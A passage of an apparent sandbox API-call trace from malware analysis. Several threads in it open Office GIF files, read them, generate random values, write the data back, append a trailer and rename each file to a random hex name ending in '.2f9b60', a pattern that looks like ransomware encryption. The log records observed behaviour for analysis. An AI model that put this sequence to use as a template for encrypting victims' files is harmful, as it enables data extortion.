_Format="%c%c" | out: _Dest="e1") returned 2 [0236.157] sprintf (in: _Dest=0x431acd3e, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.157] sprintf (in: _Dest=0x431acd40, _Format="%c%c" | out: _Dest="65") returned 2 [0236.157] sprintf (in: _Dest=0x431acd42, _Format="%c%c" | out: _Dest="9f") returned 2 [0236.157] sprintf (in: _Dest=0x431acd44, _Format="%c%c" | out: _Dest="31") returned 2 [0236.157] sprintf (in: _Dest=0x431acd46, _Format="%c%c" | out: _Dest="60") returned 2 [0236.157] sprintf (in: _Dest=0x431acd48, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.157] sprintf (in: _Dest=0x431acd4a, _Format="%c%c" | out: _Dest="a2") returned 2 [0236.157] sprintf (in: _Dest=0x431acd4c, _Format="%c%c" | out: _Dest="60") returned 2 [0236.157] sprintf (in: _Dest=0x431acd4e, _Format="%c%c" | out: _Dest="71") returned 2 [0236.157] RtlInitAnsiString (in: DestinationString=0x335bf7e8, SourceString="79cc2fa693e74ce1ef0d10f62a39e1f6659f3160fca26071" | out: DestinationString="79cc2fa693e74ce1ef0d10f62a39e1f6659f3160fca26071") [0236.157] RtlAnsiStringToUnicodeString (in: DestinationString=0x335bf7b8, SourceString="79cc2fa693e74ce1ef0d10f62a39e1f6659f3160fca26071", AllocateDestinationString=1 | out: DestinationString="79cc2fa693e74ce1ef0d10f62a39e1f6659f3160fca26071") returned 0x0 [0236.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310e870 [0236.158] wcscat (in: _Dest=0x202b0330, _Source="79cc2fa693e7" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\79cc2fa693e7") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\79cc2fa693e7" [0236.158] wcscat (in: _Dest=0x202b0330, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\79cc2fa693e7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\79cc2fa693e7.2f9b60" [0236.158] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\79cc2fa693e7.2f9b60", NtPathName=0x335bf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\79cc2fa693e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e2ae0 Thread: id = 3868 os_tid = 0xb90 [0229.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif")) returned 0x20 [0229.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF", dwFileAttributes=0x20) returned 1 [0229.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x588 [0229.919] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x33def9e0 | out: lpFileSize=0x33def9e0*=932) returned 1 [0229.919] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.919] ReadFile (in: hFile=0x588, lpBuffer=0x33def960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33def9a8, lpOverlapped=0x0 | out: lpBuffer=0x33def960*, lpNumberOfBytesRead=0x33def9a8*=0x4, lpOverlapped=0x0) returned 1 [0230.806] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263230 [0230.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261400 [0230.806] NtQuerySystemTime (in: CurrentTime=0x33def8a0 | out: CurrentTime=0x33def8a0*=132462178348030000) returned 0x0 [0230.806] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x5459a068 [0230.806] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x143223d0 [0230.806] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x54475c38 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x2447f913 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x14797b21 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x5526097a [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0xa93f369 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x652cd4c [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x420ebbbc [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x15c54a2d [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x72f07c68 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x84a0cbd [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0xf75576f [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x5086b3a5 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x1082ac9f [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x284e6307 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x676b9c4f [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x3a9d3cbc [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x71c87944 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x4ed731a [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x5f132ee3 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x42551794 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x48acadd4 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x6cf1057e [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x57e8622 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x7eba3640 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x16f0644f [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x75472f2b [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x7fe778eb [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x3e6f59a0 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x2a50bbb1 [0230.807] RtlRandomEx (in: Seed=0x33def890 | out: Seed=0x33def890) returned 0x3433e8da [0230.816] ReadFile (in: hFile=0x588, lpBuffer=0x42481150, nNumberOfBytesToRead=0x3a4, lpNumberOfBytesRead=0x33def890, lpOverlapped=0x0 | out: lpBuffer=0x42481150*, lpNumberOfBytesRead=0x33def890*=0x3a4, lpOverlapped=0x0) returned 1 [0230.816] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.816] WriteFile (in: hFile=0x588, lpBuffer=0x42484d60*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x33def894, lpOverlapped=0x0 | out: lpBuffer=0x42484d60*, lpNumberOfBytesWritten=0x33def894*=0x3a4, lpOverlapped=0x0) returned 1 [0233.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648f0 [0233.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267680 [0233.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267680) returned 1 [0233.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42484d60) returned 1 [0233.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42481150) returned 1 [0233.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0233.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62ff0) returned 1 [0233.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20267680 [0233.881] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.881] WriteFile (in: hFile=0x588, lpBuffer=0x431f1c80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33def9b0, lpOverlapped=0x0 | out: lpBuffer=0x431f1c80*, lpNumberOfBytesWritten=0x33def9b0*=0x10a, lpOverlapped=0x0) returned 1 [0236.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0236.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263350 [0236.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263350) returned 1 [0236.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263350 [0236.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262690 [0236.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262690) returned 1 [0236.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0236.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431acd20 [0236.132] sprintf (in: _Dest=0x431acd20, _Format="%c%c" | out: _Dest="1b") returned 2 [0236.132] sprintf (in: _Dest=0x431acd22, _Format="%c%c" | out: _Dest="3f") returned 2 [0236.132] sprintf (in: _Dest=0x431acd24, _Format="%c%c" | out: _Dest="41") returned 2 [0236.132] sprintf (in: _Dest=0x431acd26, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.132] sprintf (in: _Dest=0x431acd28, _Format="%c%c" | out: _Dest="de") returned 2 [0236.132] sprintf (in: _Dest=0x431acd2a, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.132] sprintf (in: _Dest=0x431acd2c, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.132] sprintf (in: _Dest=0x431acd2e, _Format="%c%c" | out: _Dest="ab") returned 2 [0236.132] sprintf (in: _Dest=0x431acd30, _Format="%c%c" | out: _Dest="fd") returned 2 [0236.133] sprintf (in: _Dest=0x431acd32, _Format="%c%c" | out: _Dest="20") returned 2 [0236.133] sprintf (in: _Dest=0x431acd34, _Format="%c%c" | out: _Dest="d3") returned 2 [0236.133] sprintf (in: _Dest=0x431acd36, _Format="%c%c" | out: _Dest="97") returned 2 [0236.133] sprintf (in: _Dest=0x431acd38, _Format="%c%c" | out: _Dest="22") returned 2 [0236.133] sprintf (in: _Dest=0x431acd3a, _Format="%c%c" | out: _Dest="8c") returned 2 [0236.133] sprintf (in: _Dest=0x431acd3c, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.133] sprintf (in: _Dest=0x431acd3e, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.133] sprintf (in: _Dest=0x431acd40, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.133] sprintf (in: _Dest=0x431acd42, _Format="%c%c" | out: _Dest="de") returned 2 [0236.133] sprintf (in: _Dest=0x431acd44, _Format="%c%c" | out: _Dest="65") returned 2 [0236.133] sprintf (in: _Dest=0x431acd46, _Format="%c%c" | out: _Dest="b0") returned 2 [0236.133] sprintf (in: _Dest=0x431acd48, _Format="%c%c" | out: _Dest="51") returned 2 [0236.133] sprintf (in: _Dest=0x431acd4a, _Format="%c%c" | out: _Dest="93") returned 2 [0236.133] sprintf (in: _Dest=0x431acd4c, _Format="%c%c" | out: _Dest="63") returned 2 [0236.133] sprintf (in: _Dest=0x431acd4e, _Format="%c%c" | out: _Dest="39") returned 2 [0236.133] RtlInitAnsiString (in: DestinationString=0x33defa28, SourceString="1b3f41a1de2ddcabfd20d397228cf5a1d4de65b051936339" | out: DestinationString="1b3f41a1de2ddcabfd20d397228cf5a1d4de65b051936339") [0236.133] RtlAnsiStringToUnicodeString (in: DestinationString=0x33def9f8, SourceString="1b3f41a1de2ddcabfd20d397228cf5a1d4de65b051936339", AllocateDestinationString=1 | out: DestinationString="1b3f41a1de2ddcabfd20d397228cf5a1d4de65b051936339") returned 0x0 [0236.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f0c0 [0236.134] wcscat (in: _Dest=0x202b1550, _Source="1b3f41a1de2d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1b3f41a1de2d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1b3f41a1de2d" [0236.134] wcscat (in: _Dest=0x202b1550, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1b3f41a1de2d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1b3f41a1de2d.2f9b60" [0236.134] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1b3f41a1de2d.2f9b60", NtPathName=0x33def9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1b3f41a1de2d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e28a0 Thread: id = 3869 os_tid = 0x19a8 [0229.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif")) returned 0x20 [0230.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF", dwFileAttributes=0x20) returned 1 [0231.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3338 [0231.749] GetFileSizeEx (in: hFile=0x3338, lpFileSize=0x3401f7e0 | out: lpFileSize=0x3401f7e0*=352) returned 1 [0231.749] SetFilePointerEx (in: hFile=0x3338, liDistanceToMove=0x15c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.749] ReadFile (in: hFile=0x3338, lpBuffer=0x3401f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3401f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3401f760*, lpNumberOfBytesRead=0x3401f7a8*=0x4, lpOverlapped=0x0) returned 1 [0231.750] SetFilePointerEx (in: hFile=0x3338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0231.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0231.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.751] NtQuerySystemTime (in: CurrentTime=0x3401f6a0 | out: CurrentTime=0x3401f6a0*=132462178357390000) returned 0x0 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x37634e39 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x4218e72d [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x1b729cfd [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x5fec9a5b [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x5a3fbe90 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x1b047fba [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x32d79732 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0xef2bbd [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x2e84ad9d [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x100113db [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x7cec2511 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0xeffff5b [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x6406e2bb [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x6773601a [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x6f2eec79 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x6952df9e [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x2f318490 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x114ade6c [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x601beef0 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x5cc068e9 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x6e6751de [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x11a9487a [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x519da322 [0231.751] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x182c4699 [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x27849997 [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x77936b9f [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x23acfb48 [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x25310568 [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x3a61ff1b [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x4ce308fe [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x99c33a6 [0231.752] RtlRandomEx (in: Seed=0x3401f690 | out: Seed=0x3401f690) returned 0x5c85413e [0231.759] ReadFile (in: hFile=0x3338, lpBuffer=0x4285daa0, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x3401f690, lpOverlapped=0x0 | out: lpBuffer=0x4285daa0*, lpNumberOfBytesRead=0x3401f690*=0x160, lpOverlapped=0x0) returned 1 [0231.759] SetFilePointerEx (in: hFile=0x3338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.759] WriteFile (in: hFile=0x3338, lpBuffer=0x42847240*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x3401f694, lpOverlapped=0x0 | out: lpBuffer=0x42847240*, lpNumberOfBytesWritten=0x3401f694*=0x160, lpOverlapped=0x0) returned 1 [0234.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e200 [0234.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e1d0 [0234.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e1d0) returned 1 [0234.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42847240) returned 1 [0234.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4285daa0) returned 1 [0234.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9de0) returned 1 [0234.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420585b0) returned 1 [0234.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e1d0 [0234.251] SetFilePointerEx (in: hFile=0x3338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.252] WriteFile (in: hFile=0x3338, lpBuffer=0x431e0ba0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3401f7b0, lpOverlapped=0x0 | out: lpBuffer=0x431e0ba0*, lpNumberOfBytesWritten=0x3401f7b0*=0x10a, lpOverlapped=0x0) returned 1 [0236.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0236.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0236.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0236.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0236.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0236.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0236.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0236.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9a0 [0236.315] sprintf (in: _Dest=0x431ac9a0, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9a2, _Format="%c%c" | out: _Dest="31") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9a4, _Format="%c%c" | out: _Dest="76") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9a6, _Format="%c%c" | out: _Dest="13") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9a8, _Format="%c%c" | out: _Dest="2b") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9aa, _Format="%c%c" | out: _Dest="7e") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9ac, _Format="%c%c" | out: _Dest="bc") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9ae, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9b0, _Format="%c%c" | out: _Dest="db") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9b2, _Format="%c%c" | out: _Dest="c0") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9b4, _Format="%c%c" | out: _Dest="5e") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9b6, _Format="%c%c" | out: _Dest="81") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9b8, _Format="%c%c" | out: _Dest="8f") returned 2 [0236.315] sprintf (in: _Dest=0x431ac9ba, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9bc, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9be, _Format="%c%c" | out: _Dest="95") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9c0, _Format="%c%c" | out: _Dest="01") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9c2, _Format="%c%c" | out: _Dest="50") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9c4, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9c6, _Format="%c%c" | out: _Dest="9b") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9c8, _Format="%c%c" | out: _Dest="16") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9ca, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9cc, _Format="%c%c" | out: _Dest="28") returned 2 [0236.316] sprintf (in: _Dest=0x431ac9ce, _Format="%c%c" | out: _Dest="c6") returned 2 [0236.316] RtlInitAnsiString (in: DestinationString=0x3401f828, SourceString="b63176132b7ebcefdbc05e818f9d4a950150fc9b16b628c6" | out: DestinationString="b63176132b7ebcefdbc05e818f9d4a950150fc9b16b628c6") [0236.316] RtlAnsiStringToUnicodeString (in: DestinationString=0x3401f7f8, SourceString="b63176132b7ebcefdbc05e818f9d4a950150fc9b16b628c6", AllocateDestinationString=1 | out: DestinationString="b63176132b7ebcefdbc05e818f9d4a950150fc9b16b628c6") returned 0x0 [0236.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f520 [0236.317] wcscat (in: _Dest=0x431cb080, _Source="b63176132b7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b63176132b7e") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b63176132b7e" [0236.317] wcscat (in: _Dest=0x431cb080, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b63176132b7e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b63176132b7e.2f9b60" [0236.317] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b63176132b7e.2f9b60", NtPathName=0x3401f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b63176132b7e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e30e0 Thread: id = 3870 os_tid = 0x22c4 [0229.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif")) returned 0x20 [0230.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF", dwFileAttributes=0x20) returned 1 [0231.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x333c [0231.759] GetFileSizeEx (in: hFile=0x333c, lpFileSize=0x2ecaf920 | out: lpFileSize=0x2ecaf920*=1559) returned 1 [0231.759] SetFilePointerEx (in: hFile=0x333c, liDistanceToMove=0x613, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 